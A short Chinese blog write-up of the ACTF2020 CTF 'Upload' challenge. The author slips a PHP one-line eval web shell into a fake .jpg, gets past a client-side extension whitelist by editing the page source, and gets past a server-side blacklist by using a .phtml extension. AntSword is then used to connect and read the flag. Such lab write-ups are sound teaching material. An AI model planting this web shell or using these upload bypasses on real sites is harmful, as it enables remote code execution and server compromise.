[ACTF2020 新生赛]Upload

0x00

打开WEB界面如下,这是一道上传题目

我们先创建一个文件命名为1.jpg,进行上传得到结果如下

上传成功说明没有对文件头进行过滤,继续向文件中加入如下内容

<?php @eval($_POST['pass']); ?>

上传得到如下结果

上传成功说明没有对文件内容进行过滤,接下来我们修改文件的拓展名进行上传,因为图片格式不会被当做php脚本执行,所以需要进行拓展名修改
首先将文件重新命名为1.php,上传得到结果如下

只能上传拓展名为jpg、png、gif的文件,应该是进行了白名单过滤
假设进行的前端白名单过滤,查看源码来验证我们的假设

可以看到确实是前端白名单验证,我们修改前端源码如下

继续上传1.php,得到将结果如下

还进行了后端验证,重新命名为1.phtml,继续上传得到如下

上传成功,看来后端进行的是黑名单验证,使用蚁剑进行连接

获取flag

0x01 总结

主要考点为:

  • 1.前端验证绕过
  • 2.后端黑名单绕过
posted @ 2020-09-08 16:19  she11s  阅读(482)  评论(0编辑  收藏  举报